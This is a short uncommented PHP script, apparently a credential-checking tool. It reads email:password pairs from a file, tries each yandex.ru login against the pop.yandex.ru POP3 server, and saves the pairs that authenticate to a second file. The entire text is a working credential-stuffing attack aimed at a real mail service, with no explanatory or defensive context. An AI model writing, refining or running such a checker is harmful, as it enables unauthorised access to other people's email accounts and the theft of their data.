<?php
error_reporting(E_ALL);
set_time_limit(0);
$fr=fopen("resu","r");
$fw=fopen("resu1","w");
echo "<pre>";
while (!feof ($fr)) {
    $buffer = fgets($fr,255);
    $lp=explode(':',$buffer,2);
    $log=explode('@',$lp[0],2);

  if (($log[1]=='yandex.ru')  and (isset($lp[1]))){

  $ock=fsockopen("pop.yandex.ru",110);
  $html=fgets($ock);
  $usr="user ".$log[0]."\r\n";
  fputs($ock,$usr);
  $html=fgets($ock);
   $pwr="pass ".$lp[1]."\r\n";
   fputs($ock,$pwr);
    echo $buffer;
$html=fgets($ock);
    echo $html."\r\n";
  if (preg_match("/OK/",$html)) {
     fputs($fw,$buffer);
      fclose($ock);}
   else {fclose($ock);}
}
}
echo "OK!";
echo "</pre>";
fclose($fr);
fclose($fw);
?>